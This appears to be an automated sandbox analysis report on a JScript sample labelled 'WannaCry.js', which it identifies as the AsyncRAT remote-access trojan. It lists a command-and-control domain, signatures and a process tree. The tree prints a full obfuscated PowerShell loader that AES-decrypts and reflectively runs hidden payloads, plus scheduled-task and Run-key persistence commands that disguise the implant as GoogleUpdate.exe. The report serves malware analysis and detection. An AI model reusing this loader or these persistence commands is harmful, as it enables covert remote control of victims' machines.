Analysis

  • max time kernel
    58s
  • max time network
    43s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 16:22

General

  • Target
    WannaCry.js
  • Size 365KB
  • Sample260814-tvpegsem9v
  • SHA256 5311a5cdd30e10700ce2a5185568f810d4b36c5ed43e95ba849c70ea6d795712
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • fu88official.com

C2
  • fu88official.com:80

  • fu88official.com:8080

  • fu88official.com:443

  • fu88official.com:8443

  • fu88official.com:6606

  • fu88official.com:22

Mutex
  • NwzZuxDr6mOe

Attributes
  • delay

    3

  • install

    true

  • install_file

    GoogleUpdate.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\WannaCry.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5532
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BUP.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3956
      • C:\Windows\system32\net.exe
        net file
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4736
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 file
          4⤵
            PID:1224
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KEzLHpmbSeXSbzc3eFv6nwJq6Uhskfjbl6efGE1nWr0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VEAhGQdBAR+ntOFdDlxgg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NJsRurXziIJnqEOvNbksKZkVk=New-Object System.IO.MemoryStream(,$param_var); $UKzGRvaHbjSbMZQvvgKYBwZGJ=New-Object System.IO.MemoryStream; $MmVLuOzxHzHyTqnIGovVuactW=New-Object System.IO.Compression.GZipStream($NJsRurXziIJnqEOvNbksKZkVk, [IO.Compression.CompressionMode]::Decompress); $MmVLuOzxHzHyTqnIGovVuactW.CopyTo($UKzGRvaHbjSbMZQvvgKYBwZGJ); $MmVLuOzxHzHyTqnIGovVuactW.Dispose(); $NJsRurXziIJnqEOvNbksKZkVk.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.ToArray();}function execute_function($param_var,$param2_var){ $oSAXIyLSWfjfWGutDfAjXCQxp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VhDLoLjCOgWYzYaVFWkdDJIbC=$oSAXIyLSWfjfWGutDfAjXCQxp.EntryPoint; $VhDLoLjCOgWYzYaVFWkdDJIbC.Invoke($null, $param2_var);}$IWwvUozGSbCAHLwdAXEVcxQIK = 'C:\Users\Admin\AppData\Local\Temp\BUP.bat';$host.UI.RawUI.WindowTitle = $IWwvUozGSbCAHLwdAXEVcxQIK;$wzpAggLRiWLbnbNTvGGisFARY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IWwvUozGSbCAHLwdAXEVcxQIK).Split([Environment]::NewLine);foreach ($GRkzrQZxBqPrvsLFnDDZIpULr in $wzpAggLRiWLbnbNTvGGisFARY) { if ($GRkzrQZxBqPrvsLFnDDZIpULr.StartsWith('AgPUsIKoJCqhEoUfXCoO')) { $PquvPkfOKyOkgLVRJyPKbmWQc=$GRkzrQZxBqPrvsLFnDDZIpULr.Substring(20); break; }}$payloads_var=[string[]]$PquvPkfOKyOkgLVRJyPKbmWQc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
          3⤵
            PID:5488
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1668
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_659_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1152
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs"
              4⤵
              • Executes a VBScript file via the Windows Script Host.
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:6072
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_659.bat" "
                5⤵
                • Executes a command shell one-liner
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2828
                • C:\Windows\SysWOW64\net.exe
                  net file
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4852
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 file
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:3768
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KEzLHpmbSeXSbzc3eFv6nwJq6Uhskfjbl6efGE1nWr0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VEAhGQdBAR+ntOFdDlxgg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NJsRurXziIJnqEOvNbksKZkVk=New-Object System.IO.MemoryStream(,$param_var); $UKzGRvaHbjSbMZQvvgKYBwZGJ=New-Object System.IO.MemoryStream; $MmVLuOzxHzHyTqnIGovVuactW=New-Object System.IO.Compression.GZipStream($NJsRurXziIJnqEOvNbksKZkVk, [IO.Compression.CompressionMode]::Decompress); $MmVLuOzxHzHyTqnIGovVuactW.CopyTo($UKzGRvaHbjSbMZQvvgKYBwZGJ); $MmVLuOzxHzHyTqnIGovVuactW.Dispose(); $NJsRurXziIJnqEOvNbksKZkVk.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.ToArray();}function execute_function($param_var,$param2_var){ $oSAXIyLSWfjfWGutDfAjXCQxp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VhDLoLjCOgWYzYaVFWkdDJIbC=$oSAXIyLSWfjfWGutDfAjXCQxp.EntryPoint; $VhDLoLjCOgWYzYaVFWkdDJIbC.Invoke($null, $param2_var);}$IWwvUozGSbCAHLwdAXEVcxQIK = 'C:\Users\Admin\AppData\Roaming\Windows_Log_659.bat';$host.UI.RawUI.WindowTitle = $IWwvUozGSbCAHLwdAXEVcxQIK;$wzpAggLRiWLbnbNTvGGisFARY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IWwvUozGSbCAHLwdAXEVcxQIK).Split([Environment]::NewLine);foreach ($GRkzrQZxBqPrvsLFnDDZIpULr in $wzpAggLRiWLbnbNTvGGisFARY) { if ($GRkzrQZxBqPrvsLFnDDZIpULr.StartsWith('AgPUsIKoJCqhEoUfXCoO')) { $PquvPkfOKyOkgLVRJyPKbmWQc=$GRkzrQZxBqPrvsLFnDDZIpULr.Substring(20); break; }}$payloads_var=[string[]]$PquvPkfOKyOkgLVRJyPKbmWQc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:4488
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5764
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdate" /tr '"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"' & exit
                    7⤵
                    • Executes a command shell one-liner
                    PID:5128
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdate" /tr '"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"'
                      8⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2984
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF652.tmp.bat""
                    7⤵
                    • Executes a command shell one-liner
                    PID:3232
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 3
                      8⤵
                      • Delays execution with timeout.exe
                      PID:4956
                    • C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
                      "C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"
                      8⤵
                        PID:2644
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
                    6⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4596
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
                    6⤵
                      PID:1580
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1064
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
                3⤵
                • Adds Run key to start application
                PID:5192
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
            1⤵
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:3008
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
              2⤵
              • Executes a command shell one-liner
              PID:5544
          • C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
            "C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"
            1⤵
              PID:4332

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  windows_systemManager.vbs

                  • Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
                  • Size 133B
                  • SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-Interactive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                  • Size 19KB
                  • SHA256 9f604f6f568a6de4c813094e70b7699c442e5280477b1a02065f4840d181ec6a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  StartupProfileData-Interactive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                  • Size 20KB
                  • SHA256 b175f42000794034bd3ecdf9f623fa26ac75adf214711b385d6a579179c3fb78
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  BUP.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\BUP.bat
                  • Size 157KB
                  • SHA256 caf93e1e2485451e88a52405d80980d8d1350c965913e0a061fb1b683ab0ee9d
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  __PSScriptPolicyTest_3lkgva4a.hcx.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lkgva4a.hcx.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  tmpF652.tmp.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\tmpF652.tmp.bat
                  • Size 156B
                  • SHA256 770b780a9bffe851a4f264740d1fcd93858df7c6c936ef175b22c6ac6c41615d
                  • MD5 SHA1 SHA512 TLSH

                  GoogleUpdate.exe

                  • Path C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
                  • Size 414KB
                  • SHA256 6a73f3dda06163bb6253e4f82a283e184d70755c067633c4190fbff64f0baecd
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Windows_Log_659.vbs

                  • Path C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs
                  • Size 115B
                  • SHA256 d7bc729181630915649b5186ce81687fb40040b4c6b4a40f664dc6041566efda
                  • MD5 SHA1 SHA512 TLSH

                  memory/1152-37-0x0000000007EC0000-0x0000000007ED1000-memory.dmp

                  memory/1152-36-0x0000000007F20000-0x0000000007FB6000-memory.dmp

                  memory/1152-29-0x0000000007AF0000-0x0000000007B26000-memory.dmp

                  memory/1152-35-0x0000000007D20000-0x0000000007D2A000-memory.dmp

                  memory/1152-34-0x0000000007B80000-0x0000000007C23000-memory.dmp

                  memory/1152-30-0x0000000070580000-0x00000000705CC000-memory.dmp

                  memory/1152-33-0x0000000007B30000-0x0000000007B50000-memory.dmp

                  memory/1668-17-0x0000000005EE0000-0x000000000623B000-memory.dmp

                  memory/1668-12-0x00000000056A0000-0x0000000005706000-memory.dmp

                  memory/1668-25-0x0000000008A60000-0x000000000901A000-memory.dmp

                  memory/1668-23-0x0000000007800000-0x0000000007808000-memory.dmp

                  memory/1668-22-0x00000000077D0000-0x00000000077EA000-memory.dmp

                  memory/1668-21-0x0000000007E20000-0x000000000849C000-memory.dmp

                  memory/1668-20-0x0000000006870000-0x00000000068B8000-memory.dmp

                  memory/1668-19-0x00000000066F0000-0x000000000673C000-memory.dmp

                  memory/1668-18-0x0000000006400000-0x000000000641E000-memory.dmp

                  memory/1668-13-0x0000000005710000-0x0000000005776000-memory.dmp

                  memory/1668-14-0x0000000074330000-0x0000000074AEC000-memory.dmp

                  memory/1668-24-0x0000000007850000-0x0000000007860000-memory.dmp

                  memory/1668-46-0x0000000074342000-0x0000000074343000-memory.dmp

                  memory/1668-47-0x0000000074330000-0x0000000074AEC000-memory.dmp

                  memory/1668-11-0x0000000005600000-0x0000000005622000-memory.dmp

                  memory/1668-51-0x0000000074330000-0x0000000074AEC000-memory.dmp

                  memory/1668-7-0x0000000074342000-0x0000000074343000-memory.dmp

                  memory/1668-9-0x0000000005780000-0x0000000005DCA000-memory.dmp

                  memory/1668-8-0x0000000002FF0000-0x0000000003026000-memory.dmp

                  memory/1668-10-0x0000000074330000-0x0000000074AEC000-memory.dmp

                  memory/5764-56-0x00000000081C0000-0x000000000825C000-memory.dmp

                  memory/5764-54-0x0000000007ED0000-0x0000000007EE2000-memory.dmp